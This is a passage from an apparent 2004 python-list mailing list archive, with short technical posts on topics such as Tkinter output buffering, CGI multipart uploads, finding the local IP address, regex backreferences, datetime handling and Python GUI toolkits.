> discussion, I thought I'd give the several potential ones
> that it popped up for me amidst the crap:
> 
> dophon
> cowbird
> 
> I kinda like the second one...  (it said it's pronounced
> "cowb-ird" though, so maybe it wouldn't do. ;-)
> 
> -Peter

"Cowb-ird"? Is that anything like "cow-orkers"? :)

Cow-birds are a lot like Cuckoo birds (yes, they ARE real) in that they 
lay eggs in other birds' nests.

OT? Hmmm... let's see. :)


From dharsamto at yahoo.com  Tue Sep 28 08:48:58 2004
From: dharsamto at yahoo.com (dharsamto)
Date: Tue, 28 Sep 2004 12:48:58 -0000
Subject: QU, recently launched in icewalkers
Message-ID: <cjbmjq+7r4p@eGroups.com>

a new open source language programming has been launched in 
icewakkers this month, namely QU
good alternative for perl, php, phyton programmers
very cool but need contributors to enrich its library
http://www.icewalkers.com/NFTW/522580/Qu.html



From greg at cosc.canterbury.ac.nz  Wed Sep 29 01:52:35 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 29 Sep 2004 17:52:35 +1200
Subject: up with PyGUI!
In-Reply-To: <pbadnZfDHOixncncRVn-jg@powergate.ca>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
	<pbadnZfDHOixncncRVn-jg@powergate.ca>
Message-ID: <2rv0t6F1evq2vU1@uni-berlin.de>

Peter Hansen wrote:
> class MainFrame(FrameDescription):
>     b1 = ButtonDescription(
>         size = (40, 40),
>         text = "b1",
>         )
> 
> That's pretty close to what you asked for.  You're welcome,
> in advance. <wink>

The idea was to be able to specify attributes of the
widget using a suite of assignments instead of a function
call. Not a big difference, but it would tidy things up
a bit and avoid those awkward dangling parentheses that
you get with the above style.

My example was a little off target, btw. It should
have been more like

   class MyWindow(Window):

     def __init__(self):

       instance b1(Button):
         size = (40, 40)
         text = "b1"

i.e. the created objects are to be attributes of
*instances* of MyWindow, not its class.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From eric_brunel at despammed.com  Thu Sep  9 04:21:14 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Thu, 09 Sep 2004 10:21:14 +0200
Subject: TKinter + display of a shell command return
References: <chn0pr$tr7$1@biggoron.nerim.net>
	<chn98b$9gr$1@news-reader1.wanadoo.fr>
	<chnlg9$199t$1@biggoron.nerim.net>
Message-ID: <chp3av$5o8$1@news-reader2.wanadoo.fr>

Yann.K wrote:
> Eric Brunel wrote:
> 
> 
>>What is your problem here? Inserting at the end of the text and call the
>>see method on the text widget to make sure the last line is displayed
>>should be enough. An update_idletasks may also be needed to actually
>>display something, but it depends on the architecture of your script,
>>typically on whether you use threads or not.
> 
> Yes, really it run great but no as i would!
> For long process, the display wait the end of the script execution to
> display all the lines of the mesage.

The problem may not be in the Python script, but in the shell command itself: 
the output for commands is usually buffered and you won't get a chance to 
display anything until the buffer is full or the command explicitely does a 
flush. There may be a means to ask the shell to avoid buffering the command 
outputs (like Python's -u option), but my shell knowledge does not go as far as 
that... And of course, it will depend on the shell flavor you're using...

[...]
> Thanks for your help,

You're welcome. Good luck!
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From ialbert at mailblocks.com  Fri Sep 10 11:17:43 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 10 Sep 2004 11:17:43 -0400
Subject: Electronic voting feasibility
In-Reply-To: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
Message-ID: <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>

Peter Hansen wrote:

>  What are they trying to manipulate you to do,

Take everything they say as the only truth.

Istvan.


From chrisks at NOSPAM.udel.edu  Sun Sep 19 19:38:34 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 23:38:34 GMT
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <mailman.3498.1095589265.5135.python-list@python.org>
References: <mailman.3489.1095578305.5135.python-list@python.org>	<lXb3d.1271$9l1.106@trndny09>
	<mailman.3498.1095589265.5135.python-list@python.org>
Message-ID: <_Lo3d.5146$%42.2120@trndny08>

Cliff Wells wrote:

> On Sun, 2004-09-19 at 09:03 +0000, Chris S. wrote:
> 
> 
>>As others have mentioned, there's no clean-cut paradigm in the language 
>>that can distinguish between the Internet and your local LAN. Your best 
>>bet is to simple go about your business can try accessing hosts like 
>>normal. When several of your requests timeout, then you can safely 
>>assume the local host to be offline. That's what you see in those 
>>applications when they say you're "offline"; an educated guess. After 
>>all, if you can't reach your target, then you are, for all intents and 
>>purposes, offline.
> 
> 
> Okay, at this point I suppose the better question would be how to make
> an "educated guess".  As I mentioned, I've considered trying to open a
> socket to one or more relatively stable hosts (i.e. Google, Yahoo, etc)
> and if this fails, assume there is no Internet link.  However, this
> clearly has it's flaws (those services, as unlikely as it seems, could
> potentially be down, or they might be blocked by a corporate firewall,
> etc).  Further, tying the application to an outside source that is, for
> all intents, unrelated to the app seems a bit flaky.
 >
> Anyway, it occurs to me that a better "guess" might consist of whether
> or not the app can reach the PC's primary/secondary DNS servers.  If
> these are unreachable then it's a fair assumption that we aren't going
> to get anywhere anyhow.  
> 
> So... is there a way of determining the DNS search path of a PC?

My solution was far more mundane. I meant simply try and access the 
internet the way you normally would. If it's a mail client, try and 
access your users POP server. If it's a web-browser, try and retrieve a 
web page the user wants. If you can't access them, then there's 
essentially no "internet connection". In other words, don't worry about 
whether or not there's an available connection. Instead, assume there is 
a connection and worry about the status of your requests on the network.


From fuzzyman at gmail.com  Sat Sep  4 14:39:50 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 4 Sep 2004 11:39:50 -0700
Subject: POST method, CGI and file transfer
Message-ID: <6f402501.0409041039.610ce8d8@posting.google.com>

Another http question.
First one is simple - if a POST is made *to* a CGI with file uplaods
then you can get a FieldStorage with list values - each entry in the
list being a file. Two questions about this :
1) Is this the only situation you'll get list values posted to a CGI ?
If you have a list value in your FieldStorage instance can you be sure
that it's files ?
2) If a post is made of 1 file will it still be a list ? (jsut with a
single entry)

Admittedly the second one I could actually try... :-)

More complicated - I want to proxy the file posts, i.e. extract them
from the FieldStorage and re-encode them to make another post from the
CGI. How do you encode multipart file posts - I couldn't see it
obviously from teh standard libraries. For ordinary data I would use
urllib.urlencode.

I saw one solution at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 but
this uses httplib and makes the post. I would *much* rather (if
possible) encode the files as headers in a Request object and use
urllib2 to make the post.

MANY TIA

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From jepler at unpythonic.net  Wed Sep  8 16:53:02 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 8 Sep 2004 15:53:02 -0500
Subject: Machine identification
In-Reply-To: <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>
References: <01f101c495cd$a786cc40$054b12ac@D18SYX41>
	<mailman.3050.1094666837.5135.python-list@python.org>
	<O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>
Message-ID: <20040908205301.GD19306@unpythonic.net>

I don't have a machine with the particular misconfiguration John does,
but I have suggested a different method which should identify the IP
address of the external interface, not the loopback device.

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("1.1.1.1", 1))
    print s.getsockname()

No packets are actually sent on s, so it doesn't matter that 1.1.1.1
probably doesn't exist, or in any case doesn't intend to receive UDP
packets on port 1.  It's just a routable IPV4 address.

Once the socket is created, its "name" will be filled out, and should
correspond to the address of the interface that would actually be used
to send the packet.

If this address is a non-routable address, such as 10.0.2.2, which will
be NATted by some other machine, the problem can't be solved by writing
a few lines of Python to execute on the NATted machine.  However, this
routine will help when DNS is misconfigured (so that gethostbyname
returns the wrong address) or when gethostname misbehaves (returning the
wrong string, like "localhost.localdomain")

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/f10b7c01/attachment.sig>

From fumanchu at amor.org  Sat Sep 18 14:19:38 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sat, 18 Sep 2004 11:19:38 -0700
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EEE@exchange.hqamor.amorhq.net>

Alex Martelli wrote:
> ...indeed, I deliberately walked away from years of expertise
> programming for Win [[see http://www.aleax.it/TutWin32/index.htm]]
> because I just couldn't stand it any more...!-).

I understood everything except the part about the bees:
http://babel.altavista.com/babelfish/trurl_pagecontent?url=http%3A%2F%2F
www.aleax.it%2FTutWin32%2Findex.htm&lp=it_en

At least English still has the word "apiary" to help us out. ;)


FuManChu


From mfuhr at fuhr.org  Sat Sep 25 10:10:49 2004
From: mfuhr at fuhr.org (Michael Fuhr)
Date: 25 Sep 2004 08:10:49 -0600
Subject: \number parameter in regular expression
References: <39cbe663.0409250519.45d70c42@posting.google.com>
Message-ID: <41557c69$1_2@omega.dimensional.com>

pit.grinja at gmx.de (Piet) writes:

> I am trying to understand the correct use of the \number parameter in
> pythons regular expressions. I belive that the following should work
> import re
> pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1")
> search = pattern.search("Date#ThisIsASpacer2004-09-25Date")
> print search.groups()
> But it doesn't, because the RE doesn't match.
> I thought that the "\1" thing indicates that the respective part of
> the string in question should match the one that is located in
> search.group(1).

Read the intro to the re documentation:

http://docs.python.org/lib/module-re.html

Hint: what does \1 mean in a string that's not used as a regular
expression?

-- 
Michael Fuhr
http://www.fuhr.org/~mfuhr/


From daveh at dmh2000.com  Mon Sep 20 00:34:35 2004
From: daveh at dmh2000.com (david h)
Date: 19 Sep 2004 21:34:35 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
Message-ID: <4618b20c.0409192034.5408eebb@posting.google.com>

the problem with BCD or other 'decimal' computations is that it either
doesn't have the dynamic range of binary floating point (~ +-10**310)
or if it has unlimited digits then there is a LOT of software cranking
to do the math, whereas binary floating point is in the hardware. If
you want the language to use binary floating point (fast) but do the
rounding for you, then fine, but then you will have problems using it
for any real numerical task because the issue of rounding is very
important to numerical analysis, and is done different ways in
different cases. Every time the language runtime rounds for you, it is
introducing errors to your computations that you may or may not want.
There is a large body of knowledge surrounding the use of IEEE 754
floating point representation and if the language diverges from that
then users who want to do numerical analysis won't use it.

another question: do you want the math package to round for you, or do
you want the IO package to do it only when you print? You will get
different results from each. I could imagine a language runtime could
have a switch that tells it to automatically round the results for
you, either in the math or the IO.


From tim.peters at gmail.com  Tue Sep 14 17:26:49 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 14 Sep 2004 17:26:49 -0400
Subject: comparing datetime with date
In-Reply-To: <_YadnaNopM35ztrcRVn-gg@powergate.ca>
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<ci6r7k$gav$03$1@news.t-online.com>
	<_YadnaNopM35ztrcRVn-gg@powergate.ca>
Message-ID: <1f7befae04091414264479b3cc@mail.gmail.com>

[Diez B. Roggisch]
>> Try making a datetime-object from your date, with zeros for the time part -
>> then you'll get what you want.

[Peter Hansen]
> While trying to provide my first answer, I thought of suggesting
> this, but there doesn't appear to be a simple way of doing it.

datetime.datetime has a class constructor for building a datetime out
of a date and a time, so this can be done via a simple one-liner:

>>> import datetime
>>> t = datetime.date.today()
>>> t
datetime.date(2004, 9, 14)
>>> datetime.datetime.combine(t, datetime.time())
datetime.datetime(2004, 9, 14, 0, 0)
>>>


From aleaxit at yahoo.com  Sat Sep 25 05:31:53 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 11:31:53 +0200
Subject: Python GUI, which one?
References: <mailman.3841.1096027498.5135.python-list@python.org>
	<Y5OdnbGC-vMNgMncRVn-iQ@powergate.ca>
	<278de0e.0409241848.47bdc650@posting.google.com>
Message-ID: <1gko2h6.19jisq012y6v91N%aleaxit@yahoo.com>

Neuruss <luismg at gmx.net> wrote:

> I only know 3:
> 
> 1) Boa Contructor
> 2) PythonCard
> 3) BlackAdder (commercial)

The original question was on Python GUI _APIs_, not on tools too
graphically construct GUI's.  The APIs include many cross-platform ones,
such as wxPython, PyQt, Tkinter, PyGTK, and many others, and many
platform-specific ones too (Windows-only, Mac-only, etc).


Alex


From opengeometry at yahoo.ca  Tue Sep  7 18:33:21 2004
From: opengeometry at yahoo.ca (William Park)
Date: 7 Sep 2004 22:33:21 GMT
Subject: Simple Web Templating system with execution in templates
References: <reisap7tha.fsf@random-node.example.org>
Message-ID: <2q6r9gFrv1baU1@uni-berlin.de>

Chris Stiles <to83-t7cw at spamex.com> wrote:
> 
> Hi --
> 
> Does anyone have any recommendations for simple web templating systems for
> python that also allow execution of python code within the the templates
> themselves ?
> 
> So far I'm using Albatross, and it's nice, though it would be nicer still if
> it had proper support for 'code tags' ala <? ?>.

Perhaps, you can have a look at shell template called BASP:
    http://freshmeat.net/projects/basp/
Essentially, you would be embedding shell script, in it, you would put
Python code.  Or, you can modify the code to run Python directly.

-- 
William Park <opengeometry at yahoo.ca>
Open Geometry Consulting, Toronto, Canada


From iker at research.att.com  Wed Sep 15 12:10:16 2004
From: iker at research.att.com (Iker Arizmendi)
Date: Wed, 15 Sep 2004 16:10:16 GMT
Subject: Subclassing in C
In-Reply-To: <m3k6uv91t3.fsf@pc150.maths.bris.ac.uk>
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
	<41470D3A.1040206@research.att.com>
	<m3vfeg965o.fsf@pc150.maths.bris.ac.uk>
	<41473FCF.5000706@research.att.com>
	<m3k6uv91t3.fsf@pc150.maths.bris.ac.uk>
Message-ID: <I43B